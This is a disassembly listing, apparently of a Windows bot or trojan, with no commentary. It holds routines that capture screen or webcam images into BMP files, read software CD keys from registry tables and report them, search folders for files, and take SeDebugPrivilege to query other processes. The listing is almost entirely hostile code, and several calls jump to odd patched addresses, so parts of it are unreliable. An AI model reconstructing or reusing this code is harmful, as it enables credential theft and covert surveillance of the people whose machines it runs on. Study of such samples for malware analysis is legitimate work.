		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_43F6B0
		test	eax, eax
		jz	loc_4087D7
		cmp	ebx, esi
		jz	short loc_4086D4
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43F598
		mov	ebx, eax


loc_4086D4:				; CODE XREF: sub_4085B3+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 2650879h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087B7
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2640000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		cmp	ebx, esi
		jz	short loc_408799
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop


loc_408799:				; CODE XREF: sub_4085B3+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		push	[ebp+arg_0]
		nop
		call	near ptr 26307C3h
		push	1
		pop	esi


loc_4087B7:				; CODE XREF: sub_4085B3+1A2j
		push	[ebp+var_1C]
		call	dword_43F5CC
		push	[ebp+var_4]
		call	dword_43F530
		mov	edi, [ebp+var_20]


loc_4087CC:				; CODE XREF: sub_4085B3+70j
		push	edi
		call	dword_43F530
		mov	eax, esi
		jmp	short loc_4087E9
; ---------------------------------------------------------------------------


loc_4087D7:				; CODE XREF: sub_4085B3+C7j
					; sub_4085B3+D9j ...
		push	edi
		call	dword_43F530
		push	[ebp+var_4]
		call	dword_43F530


loc_4087E7:				; CODE XREF: sub_4085B3+23j
		xor	eax, eax


loc_4087E9:				; CODE XREF: sub_4085B3+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087EE	proc near		; CODE XREF: sub_40EE72+46EBp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40882C
		mov	eax, esi
		jmp	loc_4089E2
; ---------------------------------------------------------------------------


loc_40882C:				; CODE XREF: sub_4087EE+35j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408849
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43F6C4
		jmp	short loc_40884B
; ---------------------------------------------------------------------------


loc_408849:				; CODE XREF: sub_4087EE+47j
		xor	eax, eax


loc_40884B:				; CODE XREF: sub_4087EE+59j
		cmp	eax, ebx
		jnz	short loc_408856


loc_40884F:				; CODE XREF: sub_4087EE+88j
					; sub_4087EE+BCj
		mov	ebx, esi
		jmp	loc_4089D7
; ---------------------------------------------------------------------------


loc_408856:				; CODE XREF: sub_4087EE+5Fj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408873
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43F6C4


loc_408873:				; CODE XREF: sub_4087EE+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40884F
		push	edi
		call	dword_43F608
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408899
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4
		mov	[ebp+arg_4], eax
		jmp	short loc_40889C
; ---------------------------------------------------------------------------


loc_408899:				; CODE XREF: sub_4087EE+98j
		mov	[ebp+arg_4], ebx


loc_40889C:				; CODE XREF: sub_4087EE+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40884F
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088C3
		push	1
		pop	ebx
		jmp	loc_4089D7
; ---------------------------------------------------------------------------


loc_4088C3:				; CODE XREF: sub_4087EE+CBj
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4088E0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4


loc_4088E0:				; CODE XREF: sub_4087EE+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088FB
		mov	ecx, 280h


loc_4088FB:				; CODE XREF: sub_4087EE+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408907
		mov	eax, 1E0h


loc_408907:				; CODE XREF: sub_4087EE+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43F608
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_408951
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4


loc_408951:				; CODE XREF: sub_4087EE+153j
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_40896E
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_43F6C4


loc_40896E:				; CODE XREF: sub_4087EE+16Ej
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_40898D
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_43F6C4


loc_40898D:				; CODE XREF: sub_4087EE+18Bj
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4089AA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4


loc_4089AA:				; CODE XREF: sub_4087EE+1AAj
		push	[ebp+var_8]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4089D7
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_43F6C4


loc_4089D7:				; CODE XREF: sub_4087EE+63j
					; sub_4087EE+D0j ...
		push	[ebp+var_4]
		call	dword_43F718
		mov	eax, ebx


loc_4089E2:				; CODE XREF: sub_4087EE+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089E7	proc near		; CODE XREF: sub_40EE72+47A4p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A25
		mov	eax, esi
		jmp	loc_408C21
; ---------------------------------------------------------------------------


loc_408A25:				; CODE XREF: sub_4089E7+35j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A42
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43F6C4
		jmp	short loc_408A44
; ---------------------------------------------------------------------------


loc_408A42:				; CODE XREF: sub_4089E7+47j
		xor	eax, eax


loc_408A44:				; CODE XREF: sub_4089E7+59j
		cmp	eax, ebx
		jnz	short loc_408A4F


loc_408A48:				; CODE XREF: sub_4089E7+8Bj
					; sub_4089E7+BCj
		mov	ebx, esi
		jmp	loc_408C18
; ---------------------------------------------------------------------------


loc_408A4F:				; CODE XREF: sub_4089E7+5Fj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A6F
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43F6C4


loc_408A6F:				; CODE XREF: sub_4089E7+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A48
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A92
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_43F6C4
		mov	[ebp+arg_4], eax
		jmp	short loc_408A95
; ---------------------------------------------------------------------------


loc_408A92:				; CODE XREF: sub_4089E7+96j
		mov	[ebp+arg_4], ebx


loc_408A95:				; CODE XREF: sub_4089E7+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408A48
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408ABC
		push	1
		pop	ebx
		jmp	loc_408C18
; ---------------------------------------------------------------------------


loc_408ABC:				; CODE XREF: sub_4089E7+CBj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408AD9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_43F6C4


loc_408AD9:				; CODE XREF: sub_4089E7+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AF4
		mov	ecx, 0A0h


loc_408AF4:				; CODE XREF: sub_4089E7+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AFE
		push	78h
		pop	eax


loc_408AFE:				; CODE XREF: sub_4089E7+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B43
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43F6C4


loc_408B43:				; CODE XREF: sub_4089E7+14Aj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B60
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_43F6C4


loc_408B60:				; CODE XREF: sub_4089E7+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B9E
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_43F6C4


loc_408B9E:				; CODE XREF: sub_4089E7+1A3j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BB9
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_43F6C4


loc_408BB9:				; CODE XREF: sub_4089E7+1C0j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BD2
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_43F6C4


loc_408BD2:				; CODE XREF: sub_4089E7+1DBj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BEF
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43F6C4


loc_408BEF:				; CODE XREF: sub_4089E7+1F4j
		push	[ebp+var_4]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408C18
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_43F6C4


loc_408C18:				; CODE XREF: sub_4089E7+63j
					; sub_4089E7+D0j ...
		push	edi
		call	dword_43F718
		mov	eax, ebx


loc_408C21:				; CODE XREF: sub_4089E7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C26	proc near		; CODE XREF: sub_40EE72+5889p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_42B894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC7
		push	esi
		push	edi
		mov	eax, offset off_42B894
		mov	esi, offset dword_42B8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408C56:				; CODE XREF: sub_408C26+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43F6D8
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43F574
		test	eax, eax
		jnz	loc_408DAD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D71
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4179A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408DAD
		push	eax


loc_408CCF:				; CODE XREF: sub_408C26+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41900C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D66
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CFC
		push	[ebp+var_8]
		jmp	short loc_408CCF
; ---------------------------------------------------------------------------


loc_408CFC:				; CODE XREF: sub_408C26+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D2A
		lea	eax, [ebp+var_70]
		push	offset asc_42CA98 ; "="
		push	eax
		call	sub_418B6E
		push	offset asc_42CA98 ; "="
		push	ebx
		call	sub_418B6E
		add	esp, 10h
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------


loc_408D2A:				; CODE XREF: sub_408C26+E4j
		lea	eax, [ebp+var_70]


loc_408D2D:				; CODE XREF: sub_408C26+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 18h


loc_408D66:				; CODE XREF: sub_408C26+B9j
		push	[ebp+var_8]
		call	sub_417900
		pop	ecx
		jmp	short loc_408DAD
; ---------------------------------------------------------------------------


loc_408D71:				; CODE XREF: sub_408C26+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_408DAD:				; CODE XREF: sub_408C26+60j
					; sub_408C26+A2j ...
		push	[ebp+var_4]
		call	dword_43F644
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C56
		pop	edi
		pop	esi


loc_408DC7:				; CODE XREF: sub_408C26+19j
		pop	ebx
		leave
		retn
sub_408C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCA	proc near		; DATA XREF: sub_40EE72+3D60o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_408E1F:				; CODE XREF: sub_408DCA+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42CAEC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E64
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h


loc_408E64:				; CODE XREF: sub_408DCA+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408EE5
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42CABC
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC5
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h


loc_408EC5:				; CODE XREF: sub_408DCA+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25F0278h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_408DCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EE5	proc near		; CODE XREF: sub_408DCA+B9p
					; sub_408EE5+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41782A
		mov	edi, dword_4240BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408FA2


loc_408F31:				; CODE XREF: sub_408EE5+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F8E
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F55
		cmp	[ebp+var_117], 0
		jz	short loc_408F8E
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F8E


loc_408F55:				; CODE XREF: sub_408EE5+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EE5
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408F8E:				; CODE XREF: sub_408EE5+53j
					; sub_408EE5+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	near ptr 26B0000h
		nop
		test	eax, eax
		jnz	short loc_408F31


loc_408FA2:				; CODE XREF: sub_408EE5+4Aj
		push	[ebp+var_4]
		nop
		call	near ptr 26904E3h
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409028


loc_408FD9:				; CODE XREF: sub_408EE5+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jnz	short loc_408FD9


loc_409028:				; CODE XREF: sub_408EE5+F2j
		push	esi
		nop
		call	near ptr 26904E3h
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409037	proc near		; DATA XREF: sub_40EE72+5235o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B78A
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409076
		cmp	eax, 2
		jz	short loc_409076
		push	offset unk_42CD60
		jmp	loc_4091B5
; ---------------------------------------------------------------------------


loc_409076:				; CODE XREF: sub_409037+2Ej
					; sub_409037+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B0
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26F06EAh
		mov	esi, dword_4240DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_43F314, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_43F308, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_43F518, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_43F310, eax
		call	esi
		mov	dword_43F30C, eax
		call	sub_409209
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409183
		mov	esi, dword_4240D8
		mov	edi, 400h
		mov	ebx, offset dword_43E308
		push	edi
		push	ebx
		push	offset off_42CC9C
		call	esi
		push	edi
		mov	edi, offset dword_43EB08
		push	edi
		push	offset off_42CC84
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_43F520
		push	[ebp+arg_0]
		jnz	short loc_40912F
		call	sub_409392
		jmp	short loc_409134
; ---------------------------------------------------------------------------


loc_40912F:				; CODE XREF: sub_409037+EFj
		call	sub_409539


loc_409134:				; CODE XREF: sub_409037+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40917C
		cmp	dword_43F520, 0
		jnz	short loc_409163
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42CC0C
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		jmp	short loc_409196
; ---------------------------------------------------------------------------


loc_409163:				; CODE XREF: sub_409037+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_409173
		call	sub_40966F
		jmp	short loc_409178
; ---------------------------------------------------------------------------


loc_409173:				; CODE XREF: sub_409037+133j
		call	sub_409706


loc_409178:				; CODE XREF: sub_409037+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409188
; ---------------------------------------------------------------------------


loc_40917C:				; CODE XREF: sub_409037+101j
		push	offset unk_42CBC4
		jmp	short loc_409188
; ---------------------------------------------------------------------------


loc_409183:				; CODE XREF: sub_409037+B6j
		push	offset unk_42CB80


loc_409188:				; CODE XREF: sub_409037+143j
					; sub_409037+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_409196:				; CODE XREF: sub_409037+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 26E063Ah
		pop	ebx
		jmp	short loc_4091C3
; ---------------------------------------------------------------------------


loc_4091B0:				; CODE XREF: sub_409037+4Ej
		push	offset unk_42CB3C


loc_4091B5:				; CODE XREF: sub_409037+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4091C3:				; CODE XREF: sub_409037+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091EA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D679
		add	esp, 14h


loc_4091EA:				; CODE XREF: sub_409037+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25F0278h
		nop
		pop	edi
		pop	esi
sub_409037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409209	proc near		; CODE XREF: sub_409037+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
